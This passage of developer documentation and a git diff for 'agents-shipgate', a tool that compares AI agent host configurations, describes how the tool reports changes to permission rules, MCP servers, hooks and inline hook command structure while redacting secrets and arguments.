is `unchanged_not_proven`, not a row. A selected hook whose script is not resolved is a `script_not_resolved` item naming each handler and its reason, while the change could touch it, never a row, widening or limit. `check` and the boundary check of a manifest-backed `verify` route a changed selected script as a protected change of the hosts selecting it, from both compared sides' declarations, reading the base's only when the change touches a declaration (`tests/test_hook_script_routing.py`); `check` and a provided diff, which name no limit, leave out a selected script the change does not touch, from their comparison and input coverage alike, and a provided diff that touches both a script and its declaring file compares the script's bytes as the diff states them (`tests/test_hook_script_comparison_limits.py`). | +| `capability_diff` | `src/agents_shipgate/cli/diff.py`, `src/agents_shipgate/core/capability_diff_rows.py`, `src/agents_shipgate/core/host_comparison.py`, `src/agents_shipgate/report/host_comparison.py`, `src/agents_shipgate/core/unread_inputs.py`, `src/agents_shipgate/cli/verify/changed_inputs.py` | — | — | Answers no question the engine answers: it emits no verdict, no release decision and no pin. Every field is read from the drift payload the engine already produces — `risk` is the engine's severity and `expansion_signals` is the engine's word on widening — so there is no second implementation to drift. A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains argument redaction, except that an allow rule the engine rates as reaching a [documented arbitrary-code launcher](engineering/exec-equivalent-permissions.md) is shown in table text (`Bash(npx *)`, or a wider rule's own prefix of it, `Bash(python3 *)`) and never with a user operand, the one rating `diff`, `audit --host`, `verify` and the PR comment also carry, and its existing local-policy control (#824, `tests/test_exec_equivalent_permissions.py`). Missing comparison evidence never supplies empty comparable rows. A Claude Code permission rule row's `direction`, `expands` and `why` read the engine's one rule model (`core/claude_permission_rules.py`), the reading drift's `expansion_signals` and `check`'s violations come from, so a covered, respelled, never-consulted or carve-out rule gets one answer on every route (#918, #941, #969, #974, #938, `tests/test_claude_permission_rule_model.py`). A permission rule's cell is the text the settings reader published, never re-redacted here: a URL in it keeps its closing delimiter and trailing wildcard and withholds its path, query, fragment and userinfo, with a digest where it withholds a URL part, so two rules that publish alike stay two rows and two changes on every route (#922, `tests/test_permission_rule_url_redaction.py`). Default host mode only (`--application` is registered separately below); workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`), with the privileged `pull_request_target` event stated apart from the job token scopes, a calling job's permissions printed as a ceiling whose reach the engine read from a same-repository callee's own permissions (`callee_permissions`, `callee_write_scopes` on the grant), and an inheriting call re-pinned to another reference of the same workflow a reference change rather than a new recipient, all read off the grant and `expansion_signals` the engine published (#920, #921, #924, `tests/test_actions_token_scope.py`), and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); and each job's agent launches — a documented agent action's permission inputs, the permission flags of a `run:` that is one plain `claude -p` / `codex exec` command — and checkout refs, compared as text, as a change unless the job gains a documented widening rule, which the engine names in `expansion_signals` (`workflow_agent_widened_*`) — a rule read only from text the engine reads exactly (no shell is parsed; an argument input that is not a plain list of words is compared by a digest and read for no rule), and a gain the engine does not claim (a rule moved in from a job the launch left, one an unread step of the job rewritten as a read launch may already have met, or one the job's launch held before in an expression or an unread argument input) named in the `why` from the same engine function, never counted — with a note on a workflow row naming the untrusted-input trigger, write scopes, secrets and pull request checkout beside each agent step, read off the grant the engine published and moving no direction; an unread `run:` agent step (never compared, so never a row), an unreadable value or a setting published redacted is named only by the host inventory and `audit --host`, as for an unread secret value, an unread argument input or an unresolved launch is named there and in the `why` of a row reporting its launch, and a checkout ref holding credential-shaped text is refused as a redacting step reference is (#823, `tests/test_workflow_agent_launches.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A surface the reader reaches through an in-tree link it reads through qualifies only when that link, a link with the same text at each link on the way, and the file it lands on, the same blob at the same path, are both unchanged, read from the base's Git tree entries against a commit's or, without following any link, the working tree's; any change to either is treated as before. The same proof decides which shared plugin-reference limits `check` leaves out, so behind such a link `check` compares, and publishes the rows it finds, exactly as for a limit at its own path, and a comparison `partial` only because of such a limit is `comparable` with it in `unchanged_limits` (#822, `tests/test_linked_unchanged_limits.py`). An added or changed MCP row's `why` appends a launch-source note — `launch source is mutable`, or `launch source moved from pinned … to mutable …` when both sides establish a pin — read from the `launch_source` the engine published on the grant by a bounded declaration grammar ([mcp-launch-source-notes](engineering/mcp-launch-source-notes.md)); grant equality, the inventory digests and saved baselines leave that fact out, so the note adds no row and moves no direction, `expands`, severity, expansion signal or `check` decision (#825, `tests/test_mcp_launch_source.py`). An `npx` package named with no version specifier reads instead `package spec has no exact version; launch resolution not established: npx may resolve a local project dependency or fall back to the registry/cache`, from the display-only `resolution: local_project_or_registry` the engine published beside the pin (host-grants `0.9`), as npm documents `npx` resolving such a name; no `package.json`, lockfile or cache is read, and nothing else moves (#933). A removed MCP row reads `the server is no longer declared in this source; whether it is still offered through a changed declaration this entry does not read is not established` instead of `an MCP tool surface is no longer offered to the agent` when the same comparison's #821 discovery names a changed, unread input that may declare MCP servers in the head (a plugin manifest's `mcpServers`, a manifest that does not parse, a plugin's `mcp.json`) in the same plugin scope and for the same host; the input is never read, matched or paired, keeps its coverage item, and no direction, `expands`, severity or `check` decision moves; `check` lists the changed files for it only when a server is removed and a provided diff states only the files it touches (#929, `tests/test_mcp_row_bounded_wording.py`). An MCP row's subject names the host the engine published its grant under, which for a `.mcp.json` is the host whose declaration selects it (#936): `codex` for a Codex plugin's, and no host for one the inventory published under `unknown`, whose `why` then says the host is not established; it restates the inventory's attribution, which `check`'s `affected_hosts` and `host_coverage` read too, and moves no direction, `expands`, severity, expansion signal or `check` decision (`tests/test_mcp_host_attribution.py`). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). An added or changed Claude Code `PreToolUse` hook row whose basis is host configuration or a project-enabled plugin appends `inline allow auto-approves matched tool calls without a prompt (matcher …)` when a handler's published `inline_allow` is true — the engine's reading of a literal, unconditional allow on a broad matcher by a bounded declaration grammar ([inline-hook-allow-notes](engineering/inline-hook-allow-notes.md)), which grant equality, the inventory digests and saved baselines leave out — so the note adds no row and moves no direction, `expands`, severity, expansion signal or `check` decision (#826, `tests/test_inline_hook_allow.py`). A Claude Code tool-event hook row reads the `matcher_reach` the engine published on each handler (host-grants `0.9`): a hook every one of whose handlers is `no_tool_name` — its declared matcher, read by a bounded parser that never runs it, can match no built-in or MCP tool name, as with `Bash(git push*)` — earns no expansion signal, and its row is `declares a hook no tool call can trigger` and names the matcher, as does a row whose hook also has handlers that can run; the engine counts the handlers a tool call may run to decide a widening, so `diff`, `verify`, the PR comment, `check`'s rows and drift give one answer, and `check`'s decision does not move (#940, `tests/test_hook_matcher_reach.py`). A hook row also names a handler's exec-form `args` — the first argument shaped as a relative script path that no redaction rule rewrites, alone or after the arguments before it, and a digest of the rest, never other argument text — and the documented `type`, `async`, `asyncRewake`, `shell` and `once` settings it declares, before and after, read from the display-only `handlers` the engine published (host-grants `0.9`), which grant equality, the inventory digests and saved baselines leave out, so the field difference reaches the text and `review.changes[].change` and moves no row, direction, severity, expansion signal, loading basis or `check` decision, and a change confined to a field still not published, such as `if` or `statusMessage`, still says it is not shown (#972, #971, `tests/test_hook_args_and_settings.py`). A hook row also describes a changed inline command by the structure the engine published on its display-only `command.shape` (host-grants `0.9`) — the plain-token programs at its command positions, counts of commands, pipes, substitutions, control-flow keywords and quoted strings, its file redirects and a script path, never an argument, quoted string, URL or absolute path — or, when the engine published `shape_limit` instead, says the command is not described, the digest moved and the config has to be opened to read the change; the shape is a function of the text the digest holds, so every shape #987 withholds stays withheld and its rotations quiet, and it moves no row, direction, severity, expansion signal or `check` decision (#934, `tests/test_hook_command_shape.py`). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its package and argument digest (#819) and the env and header key names its grant already publishes, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or another setting; a hook with each handler field that changed — its group's matcher, its command as its executable's name and digest, its timeout — before and after, a handler only one side declares, or the published handlers in a different order with a detail not shown that may also differ, and past the handler bound the same kind of sentence naming a handler past it, all read from the handlers its host-grants `0.7` grant publishes, which hold no command or argument text, and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; the PR comment gives the lines 1.1.0 printed their room first, the coverage block included, and prints an entry whole when the whole comment fits, otherwise cut to the widest length of at least 60 characters at which it does, or else in its shortest form (a difference cut after its name, an added or removed grant as its row), never longer than the entry 1.1.0 printed, with one line naming `verifier.json`, so no long entry hides a row, the coverage block, the change count, the review question, the reproduction or the advisory that 1.1.0 kept (#819 review, cycles 4 and 6); an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), a removed and an added rule Claude Code documents as one grant in one host, source and disposition (`respelled`, #918), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed`, `respelled` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. A plain instruction document (`AGENTS.md`, `AGENTS.override.md`, `CLAUDE.md`) both sides read directly, refused only because it is past the 256 KiB instruction bound, is withheld the same way and named as its own `scope` with `limit: unsupported`, since that profile publishes no grant and so no compared row depends on its text; a skill, command, Cursor rule, unread role, NUL byte, one-sided or linked document, or one proven unchanged (named in `unchanged_limits`) is treated as before, and a blocking limit both sides carry ends its `detail` and its line with whether Git shows its file changed in this change, identical, or neither (#973, `tests/test_oversized_instruction_document_partial.py`). A selected hook's script bytes are a comparison input of its hook grant (#702, `tests/test_hook_script_capture.py`, `tests/test_hook_script_comparison_limits.py`): a script-only edit is one `changed` row on the declaring hook, never an expansion, whose `why` names the script and loading basis and whose change carries the digests, read from the `script_inputs` the engine published; the script's own coverage line is `changed_without_rows`, which the text words as the row of the hook that runs it naming it, and a script only one side's hooks select is `compared` on that side, its selection change being the hook's row. A script the reader could not read costs that script only: a shared limit Git proves unchanged, or a script Git proves is on neither side, is an `unchanged_limits` entry of kind `unreadable`, and any other makes the comparison `partial` with a `blocking_limit` item naming the script as both `source` and `scope`, and `Not compared: the bytes of …` in the text; a working-tree difference a line-ending conversion can explain is `unchanged_not_proven`, not a row. A selected hook whose script is not resolved is a `script_not_resolved` item naming each handler and its reason, while the change could touch it, never a row, widening or limit. `check` and the boundary check of a manifest-backed `verify` route a changed selected script as a protected change of the hosts selecting it, from both compared sides' declarations, reading the base's only when the change touches a declaration (`tests/test_hook_script_routing.py`); `check` and a provided diff, which name no limit, leave out a selected script the change does not touch, from their comparison and input coverage alike, and a provided diff that touches both a script and its declaring file compares the script's bytes as the diff states them (`tests/test_hook_script_comparison_limits.py`). | | `application_diff` | `src/agents_shipgate/cli/application_diff.py`, `src/agents_shipgate/cli/application_scope.py`, `src/agents_shipgate/inputs/tool_reach.py` | — | — | Advisory SDK/ADK source-wiring comparison through `diff --application`. Without `--scope` the scope is derived from the change: the outermost package holding each changed Python file and the agent-building SDK/ADK files (discovery's own signals) that import it or that it imports within six hops, with what they import. Each independent application is its own comparison and never the root by default; agents only the root would join are named as `outside` and make the answer `partial`. A whole application directory moved is one relocation. A change no agent reaches is an explicit `not_established` answer, and a bound reached is named in `scope_selection` and makes the answer `partial` (#875, `tests/test_application_scope.py`). Reuses framework observations and the binding graph; its comparator answers no release or merge verdict, activation verdict, executable pin, or declared authority question. Unlike host mode it computes per-agent source differences, not a projection of host drift. Scoped gaps and `not_established` candidates bound the answer; no deployment-root reachability is asserted. An agent the other side's file still names through a construction no reader supports is a gap there, never a removal or addition, and SDK identity follows the import, so LiveKit's `Agent`/`function_tool` are not read as the SDK's. `tests/test_application_diff.py`, `tests/test_application_diff_review.py` and `tests/test_application_diff_identity.py` prove the advisory boundary, isolation, uncertainty and evidence identity. Every scope, the root included, is materialized by the scoped verified materializer, so a link is recreated rather than refused and never read through; every link under the scope, a dangling one included, is censused and gapped only where it can hide application source (a `*.py` link not aliasing an input the scope reads, a directory link holding Python outside the scope, or an unresolved link where the other side reads source); a submodule is never read, named as a limit when its gitlink commit is unchanged and a coverage gap over its path (the whole scope at the scope itself) otherwise; the host-configuration census adds no application gap (`tests/test_application_diff_reach.py`). A tool an agent binds from another module inside the selected scope is followed by the SDK/ADK readers to its definition, never imported or run, and each module read is published with its digest as `import_path` evidence outside the compared meaning; an import they cannot follow stays a named gap scoped to its agent (#864, `tests/test_imported_tool_bindings.py`). An unobserved agent is not no change (#876): every OpenAI Agents SDK construction in a file the scope reads is an observed agent or a named limit — `return Agent(...)`, `self.agent = Agent(...)`, an inline agent, `Agent[Context](...)` and a positional name are read under their literal `name`; `**` or extra positional arguments, a capability-passing copy, a change to an agent's tools after construction, one identity constructed twice with different tools, a construction without a literal name, and an agent built from an SDK `Agent` subclass or from a class deriving from a Google ADK agent class are limits — so `compared` holds no unaccounted construction site. Test code, by discovery's test-path convention relative to the scope, establishes nothing and is listed per side in the additive `excluded_tests` field, a list of the comparison's own unread input paths that restates no engine answer and adds no claim; a tool name one application file defines twice is a gap on that name, never a refusal (`tests/test_application_diff_unobserved.py`). Each side of a row also carries `reach` (#872). It holds the outbound HTTP calls read statically from the tool's own code and its same-scope helpers, up to three calls deep. For each call it records the method, the URL template and literal request fields, which model-supplied parameters flow where, and the environment variables sent as credentials, by name, never a value. Every call it cannot follow is a named limit. `effect_evidence` is the engine's own `assess_tool_semantics` over that tool, with the reach as one more structural source, `source_http_call`, so it is not a second classifier. `read` is claimed only when every call was followed and every outbound call reads. `reach.effects` (#913) names what the tool's code reaches beyond HTTP through a recognised database, process, file, cloud SDK or messaging library (`src/agents_shipgate/inputs/tool_effects.py`), by import identity and method, never a spelling: a SQL statement, a command's arguments and a withheld path are only digested, and a method outside the tables is a limit. Such an effect is one more structural source of the same assessment, `source_library_call`, and `read` still needs everything reached to read, so it adds no claim either (`tests/test_tool_reach_effects.py`). Both are evidence outside the compared meaning, so they move no row or status. For a Google ADK name constructed more than once, `binding_location` names a construction that lists the tool, and `construction_sites` lists every one (`tests/test_application_diff_tool_reach.py`). A tools, handoffs or sub-agents list built by an expression — a spread, `+`, a conditional, `or`, a filter, another module's list — is read member by member through one resolver both readers share, and each part it cannot read is named, with its location, on the agent it belongs to, which stays incomplete. A member held only under a condition carries `bound_when`, the condition's source text, never evaluated; it restates no engine answer, and a change to it alone is a `changed` row whose direction is not established (#909, `tests/test_list_expressions.py`). A tool bound as an object — an MCP server or toolset, an agent exposed as a tool, a hosted or built-in tool recognised by its import, never its spelling — is a binding whose side carries `object`, what it is (transport, URL host or program file name, credential names, filter; the wrapped agent; the tool name), and `object_evidence`; a URL's path or query, a header value and a command's arguments are only digested, never printed. Both are facts about the source, read for `diff --application` only, so `scan` reads what it did and neither restates an engine answer (#910, `tests/test_object_bound_tools.py`). | | `zero_install_detector` | `tools/shipgate-detect.py` | `agent_project_verdict` | `test_detector_verdict_matches_cli` | Emits no `diagnostics[]` and no `next_actions[]`; evidence strings and framework scores are simplified. See the script's own "Intentional simplifications". | | `emitted_ci_workflow` | `src/agents_shipgate/cli/discovery/ci_workflow.py` | `executable_pin` | `tests/test_adopter_pins_resolve.py::test_the_emitted_workflow_pins_the_release_and_not_the_source_tree`, `tests/test_release_source.py::test_candidate_workflow_uses_immutable_source_before_and_after_publication` | Ordinary/source/preview builds use the published fallback; a stamped candidate pins its verified Action SHA and package version. Before publication its smoke substitutes the exact local wheel inputs. Provenance asserts no qualification. | diff --git a/docs/host-boundary-support.md b/docs/host-boundary-support.md index 6a06f3e5..8cc41e95 100644 --- a/docs/host-boundary-support.md +++ b/docs/host-boundary-support.md @@ -700,6 +700,61 @@ see #987) is still no row. A value no rule redacts, such as a bare positional token, or a password split from its `-u` into the next argument, moves the digest, so its rotation is a row of digests that prints neither value. + + +An inline hook command is described by its structure, not its text (host-grants +`0.9`, #934). A command that opens with an assignment, pipes through `sed` or +branches on `grep` has no executable name to show, and a digest alone told a +reviewer neither whether the edit added a program nor whether it needs the file +open. Each handler's `command` now carries `shape`, read from the command as +`config_sha256`'s input holds it by a bounded, static reader that never runs it. +The reader accepts simple commands; `|`, `|&`, `&&`, `||`, `;`, `&` and +newlines; `( … )` and `{ … }` groups; `if`/`elif`/`then`/`else`/`fi`, +`while`/`until`/`for`/`do`/`done`, `!` and `[[ … ]]`; `NAME=value` prefixes; +`$( … )` substitutions; quoting; the redirects `>`, `>>`, `<`, `2>&1` and `&>`; +and a literal `bash -c '…'` script, read inside to two levels. It publishes +`commands`, the programs named at command positions in order (at most 12; each +a plain token that no redaction rule rewrites, never a URL or a token that +looks generated; `commands_more` counts the rest and `unnamed` the command +positions whose word is a variable, a substitution, a quoted or glob word); +`statements`, `pipes`, `substitutions`, `control_flow` (the `if`, `elif`, +`while`, `until` and `for` keywords) and `quoted` (quoted strings), as counts; +`redirects`, each `> target`, `>> target` or `< target` (at most 8), the target +only when it is `/dev/null` or a repository-relative path of letters, digits, +`.`, `_` and `-` with no `..` segment that no redaction rule rewrites, and +`` otherwise; and `script`, the path of a command word shaped as a +relative script path, or of the first such argument of an interpreter such as +`python3`, `node` or `bash`, by the rule `args` use (#972). It follows no +wrapper (`env`, `sudo`, `xargs`) and no alias, so a wrapper is named and what it +runs is not. No argument, quoted string, variable, URL or absolute path is +published, and a backslash-continued line is read joined, so a value the string +rule leaves on the next line is withheld too. + +The reader refuses what it does not read, whole: a here-document or +here-string, a backquote, `$(( … ))`, `$'…'`, a process substitution, `case`, +`select`, `coproc`, a function definition, an array assignment, an unterminated +quote or group, nesting past 8 levels, more than 2,000 words, or more than +8,192 characters. The handler then carries `shape_limit` (`unsupported_syntax` +or `too_long`) instead, and a `shell` setting other than `bash` or `sh` is +`unsupported_shell`. A changed command's row names how the shapes differ — +`command changed ( sha256:f23acba4b10f → +sha256:3f1dc36980b7; same programs (cat, printf, sed, grep, echo, true); simple +commands 15 → 25; pipes 5 → 9; conditionals and loops 4 → 7; quoted strings +18 → 32)`, `programs +sh; pipes 1 → 2`, `redirects +>> logs/x.log`, `script +a.py → b.py` — and says so when they do not: `same programs and structure; the +change is in an argument or in quoted text this output does not show, open the +config to read the change`, or, when either command is not described, `not +described: head command uses shell syntax this output does not describe; the +digest moved, open the config to read the change`. One program replaced by +another is left to the two executables. An added or removed hook's cell lists +what a command of more than one program is made of (`runs cat, jq, sh; 2 pipes; +1 redirect (>> logs/x.log)`) and names a script path beside a single program. +A shape claims nothing about what a command does, whether a host runs it, or +which way an edit moves authority: the row's direction stays unknown. Like the +rest of `handlers` it is left out of grant equality, the inventory digests and +saved baselines, and it is a function of the same text the digest is, so a +value that text redacts (#987) moves neither, and rotating one is still no row. + A Claude Code hook on a tool event — `PreToolUse`, `PostToolUse`, diff --git a/docs/host-grants-inventory-schema.v0.9.json b/docs/host-grants-inventory-schema.v0.9.json index 741ce496..ef1a0553 100644 --- a/docs/host-grants-inventory-schema.v0.9.json +++ b/docs/host-grants-inventory-schema.v0.9.json @@ -647,9 +647,116 @@ "title": "HostHookArgsV9", "type": "object" }, - "HostHookCommandV7": { + "HostHookCommandShapeV9": { "additionalProperties": false, - "description": "A hook command as its grant publishes it: the executable's name and a digest of the whole command.\n\n``executable`` is the last path segment of the command's first\nwhitespace-separated word, when it is a plain token\n(``[A-Za-z0-9._+-]``, at most 80 characters) no redaction rule rewrites\nand the word is no shell reserved word and holds no ``://``, and\n```` otherwise, so no part of a URL is named. It\nis a label, not a claim about what a host runs. ``sha256`` is the digest of the whole command as\n``config_sha256``'s input holds it, so it moves only when that digest\ndoes; a value that input redacts moves neither. The command's text is\nnever published.", + "description": "What a hook's inline command is made of, without any of its text (#934).\n\nRead by a bounded, static reading of the command as ``config_sha256``'s\ninput holds it, never run. ``commands`` lists, in the order they are\nwritten, the first 12 distinct programs named at a command position, each\na plain token (``[A-Za-z0-9._+-]``, at most 80 characters) no redaction\nrule rewrites, the last ``/`` segment of the word; ``commands_more`` counts\nthe distinct programs past those, and ``unnamed`` the command positions\nwhose word is not such a token (a variable, a substitution, a quoted or\nglob word), both left out when 0. ``statements`` counts the simple\ncommands, ``pipes`` the ``|`` and ``|&`` operators, ``substitutions`` the\n``$( \u2026 )`` command substitutions, ``control_flow`` the ``if``, ``elif``,\n``while``, ``until`` and ``for`` keywords and ``quoted`` the quoted\nstrings, each across the whole command. ``redirects`` lists, in order, at\nmost 8 redirects to a file as ``> target``, ``>> target`` or ``< target``,\nthe target only when it is ``/dev/null`` or a repository-relative path of\nletters, digits, ``.``, ``_`` and ``-`` with no ``..`` segment that no\nredaction rule rewrites, ```` otherwise; ``redirects_more``\ncounts those past them. ``script`` is a script path published as a\nhandler's ``args`` publish one: a command word shaped as a relative script\npath, or the first such argument of an interpreter. A command that runs\n``bash -c '\u2026'`` with a literal script is read inside that script too.\n\nNo argument, quoted string, variable or absolute path is published. It\ndescribes the command's structure and claims nothing about what it does,\nwhether a host runs it, or in which direction a change moves authority.", + "properties": { + "commands": { + "items": { + "type": "string" + }, + "title": "Commands", + "type": "array" + }, + "commands_more": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Commands More" + }, + "control_flow": { + "title": "Control Flow", + "type": "integer" + }, + "pipes": { + "title": "Pipes", + "type": "integer" + }, + "quoted": { + "title": "Quoted", + "type": "integer" + }, + "redirects": { + "anyOf": [ + { + "items": { + "type": "string" + }, + "type": "array" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redirects" + }, + "redirects_more": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redirects More" + }, + "script": { + "anyOf": [ + { + "maxLength": 200, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Script" + }, + "statements": { + "title": "Statements", + "type": "integer" + }, + "substitutions": { + "title": 